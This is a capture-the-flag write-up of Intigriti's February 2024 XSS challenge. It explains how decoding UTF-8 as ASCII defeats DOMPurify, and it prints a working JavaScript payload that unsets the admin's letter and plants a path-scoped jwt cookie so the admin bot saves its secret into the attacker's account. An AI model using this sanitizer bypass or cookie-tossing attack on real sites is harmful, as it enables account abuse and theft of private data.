Published on

Intigriti's Feburary Challenge

Authors
  • avatar
    Name
    Amr Zaki
    Twitter

💌 Challenge 0224

Introduction

Hello folks, this is a write-up to the Valentine's Day challenge at intigriti. This one was a lot of fun and I finally managed to execute code while DomPurify is sanitizing my input :D. For context, I solved the September challenge because it was an SQL injection and after that, it was mostly XSS I struggled a lot but learned a lot too.

So, let's get to the challenge.


First look

The first thing we see is this login/register panel, so I registered a user and got to /home endpoint

image
image

We have another 2 endpoints on the front end, /letters and /contact-admin

For /letters we have 4 unset letters with the ability to write a letter

image

We can write a letter and after saving it, when we try to view it we get prompted for the account password, so we can't view any other users' letters and we can unset a letter without the need for the password.

image image

That's the whole functionality of this endpoint, moving to /contact-admin we get a description of what is required of us.

image

Here is what we need to do:

  • XSS on the challenge domain, to make requests disguised as the admin.
  • With XSS, we need to view the 4th letter on the admin account using his password or another way.

That's pretty much it, so let's divide and conquer and first try to find some XSS on the site.


XSS

The only place our input is reflected in is the view letter function to let us see how our input will be treated.

image

As we can see, the HTML is not rendered so this function won't help us much and we need to find another.

Diving into the source code provided, I found 2 interesting endpoints in the API, /setTestLetter and /readTestLetter/:uuid so let's see their source code

app.get("/setTestLetter", async function (req, res) {
    try {
        const { msg } = req.query;

        if (!msg) {
            return res.status(400).send("Missing msg parameter");
        }

        // We are testing rich text for the love letters! Best be safe!
        const cleanMsg = DOMPurify.sanitize(msg);

        const letter = await DebugLetters.create({
            letterValue: Buffer.from(cleanMsg).toString('base64')
        });

        return res.redirect(`/readTestLetter/${letter.letterId}`);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});

This endpoint takes a GET parameter msg and passes it to the latest version of DomPurify before base64-encoding it and then inserting it in the DebugLetters table, which is a different table from the 4 letters on the home page. It redirects us to /readTestLetter/:uuid

app.get("/readTestLetter/:uuid", async function (req, res) {
    try {
        const { uuid } = req.params;

        if (!uuid) {
            return res.status(400).send("Missing uuid in path parameter");
        }

        const letter = await DebugLetters.findOne({
            where: { letterId: uuid }
        });

        if (!letter) {
            return res.status(404).send("Letter not found");
        }

        const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');

        return res.status(200).send(decodedMessage);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});

Here it decodes the base64-encoded value from the DebugLetters table byte by byte, because it uses Buffer and then normalizes it to ASCII. Here lies the issue, the ASCII table only has 128 characters, and some UTF-8 characters need 2,3, or sometimes 4 bytes to be represented correctly. So in the normalization step, a 2-byte character will be treated as 2 1-byte characters and a 3-byte character will be treated as 3 1-byte characters, and so on.

In short, we need to construct a payload that will seem harmless to DomPurify but when normalized to ASCII, it will be a valid XSS payload.

I stuck at this step for a while because it was a process of trial and error, to get the right character which was < , using this link till I found a valid character tried it, and got XSS.

image
image

Trying the link on the browser,

image

Now we can execute code on the admin bot, we need to log in to his account and view his letter, the default approach would be stealing his cookie and use it to log into his account and see the letter -> this will fail because first, the jwt cookie has the secure flag enabled so we can't access it with javascript. Second, even if we managed to bypass it and get the cookie, we can't view the letter because it requires a password and we don't have it, so we need to think of another way.

The admin behavior is in the source code as follows

app.post("/sendAdminURL", adminLimiter, passport.authenticate('jwt', { session: false }), async function (req, res) {
    const safetySleepMS = 1500; // (ms) Sometimes it can get a bit tangled if it's too fast
    const thoughts = [];
    let browser;
    try {
        const {
            adminURL
        } = req.body;

        const host = new URL(adminURL).host;

        // Make sure the host is part of the challenge domain
        // frontend = challenge-0224.intigriti.io
        const hostRegex = new RegExp(`^(?:[a-zA-Z0-9-]+\\.)*${process.env.FRONTEND_URL.replace(/\./g, '\\.')}$`);

        if (!adminURL) {
            return res.status(400).send("Empty URL");
        } else if (!hostRegex.test(host)) {
            thoughts.push("Not too sure what this host is, I'd best be safe and not click it.");
            return res.status(400).json(thoughts);
        }

        console.log("Launching puppeteer");
        browser = await puppeteer.launch({
            timeout: 0,
            executablePath: "/usr/bin/chromium-browser",
            headless: "new",
            defaultViewport: null,
        });

        const linkedUser = await Users.findOne({
            where: {
                linkedUserID: req.user.id
            },
            include: [{
                model: Letters,
                as: 'letters',
                attributes: {
                    exclude: ['letterValue'],
                },
            }],
        });

        if (!linkedUser) {
            return res.status(500).send("Error finding user");
        };

        let page = await browser.newPage();
        await page.setDefaultTimeout(3000);

        // The challenge simulates a user who is logged in already, so we'll do that first otherwise it's no fun!
        await page.goto(`https://${process.env.SELF_HOST}/login`);
        await page.waitForSelector("#username");
        await sleep(safetySleepMS);

        await page.type("#username", linkedUser.username);
        await page.type("#password", process.env.ADMIN_PASSWORD);
        await page.click("#login");

        await page.waitForSelector("#letter_bank");
        // Logged in and ready to go!

        thoughts.push(`${host}! I recognize that domain! I'll just click this link and see what it is.`);

        await page.goto(adminURL, {
            waitUntil: 'networkidle0'
        });

        thoughts.push("I shouldn't have clicked that link. I'll open the site directly to check things are safe.");
        
        await page.close();
        page = await browser.newPage();
        await page.goto(`https://${process.env.FRONTEND_URL}/letters`, {
            waitUntil: 'networkidle0'
        });

        // Simulate the admin checking the name in the top right to ensure they're on the right account
        const user = await page.evaluate((url) => {
            return fetch(`https://${url}/user`, {
                method: 'GET',
                credentials: 'include'
            })
                .then(response => response.json())
                .catch(error => console.error('Error:', error));
        }, process.env.SELF_URL);

        // Make sure the admin is logged into their own account
        if (!user || user.user.username !== linkedUser.username) {
            thoughts.push("Whose account is this? Something's not right. I'll close the browser and go about my day.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }

        const letterData = await page.evaluate((url) => {
            return fetch(`https://${url}/getLetterData`, {
                method: 'GET',
                credentials: 'include'
            })
                .then(response => response.json())
                .catch(error => console.error('Error:', error));
        }, process.env.SELF_URL);

        const letterIsSet = letterData.userLetters[3].isSet;

        if (letterIsSet) {
            thoughts.push("I can see that the Intigriti letter is safely set! My secret is safe! I'll go about my day now.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }

        thoughts.push("I can see I'm missing a letter? Did I forget? Weird. I'll just set it now...");

        const adminLetterText = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
        await page.evaluate((url, letter) => {
            // Existing fetch request
            fetch(`https://${url}/storeLetter`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    letterId: 3,
                    letterValue: letter
                }),
                credentials: 'include'
            });
        }, process.env.SELF_URL, adminLetterText);

        thoughts.push("Letter submitted! I'll close the browser now and go about my day.");

        await browser.close();

    } catch (e) {
        console.log("Caught an error: ", e);

        try {
            await browser.close();
        } catch (err) {
            console.error(err);
        }

        return res.status(500).json({ thoughts });
    }
    console.log("Exiting /sendAdminURL endpoint");
    return res.status(200).json({ thoughts });
});

Admin behavior is as follows

  • Admin makes sure that the provided URL is on the challenge domain
  • Before the admin clicks our link, he first logs into the application
  • After logging in, admin clicks on our link
  • After some time, the admin becomes suspecious and checks that he is logged in into his account not anyone else's
    • if he's not logged in as the admin user, he closes the connection immediately
  • If he is logged in, he then looks at his letters and makes sure the 4th letter is set
    • if it is set the admin just logs off
    • If it is not set, he sends a request to set it again and logs off

Now we understand what the admin is doing, here's what we need to do, we need to unset the letter on the admin account in order for him to try and add it again to our accout, the unsetLetter request doesn't require a password.

After the login process, all the authorization is done with the jwt, and because we can set a cookie with our XSS we can override the admin cookie and let the admin bot add the letter to our account instead. But the admin is smart, before he checks his letters he makes sure he's logged into his account and to to ours. So overriding the cookies is not the approach here.

The solution here theortically, is to have 2 identical cookies, one for logging in and one for inserting the flag letter to our account, at first I didn't think that is possible but after some searching I found thid great article LINK

If multiple cookies of the same name match a given request URI, one is chosen by the browser.

The more specific the path, the higher the precedence. However precedence based on other attributes, including the domain, is unspecified, and may vary between browsers. This means that if you have set cookies of the same name against “.example.org” and “www.example.org”, you can’t be sure which one will be sent back.

This is so promising, the path in the orginal cookie from the server is path=/ so we can add our own cookie with path=/storeLetter , the admin will use his cookie for logging in, and unsetting his letter and will use our cookie to insert the letter to our account.

Enough with theory and let's get to the solution.

const url = 'https://api.challenge-0224.intigriti.io/unsetLetter';
const requestOptions = {
    method: 'POST',
    headers: {'Content-Type': 'application/json',},
    body: JSON.stringify({letterId:"3"}), 
    credentials: 'include'
    };
    fetch(url, requestOptions)
        .then(data => console.log(data));
    document.cookie="jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTU4LCJ1c2VybmFtZSI6Inpha2kiLCJleHBpcmF0aW9uIjoyMDIzNTk0NjI5NjkwfQ.Bv828oWjJGxfRy8CIvBEuqUMWWC-DdUDqn_2VfhvaDE;path=/storeLetter";

This is our final payload, urlencode and send it in /setTestLetter

image

sending https://api.challenge-0224.intigriti.io/readTestLetter/39660121-c748-4a24-95cc-e520448c04de to the admin bot, and wait a few seconds, then view the 4th letter with your account password and you'll find the love letter.

image
image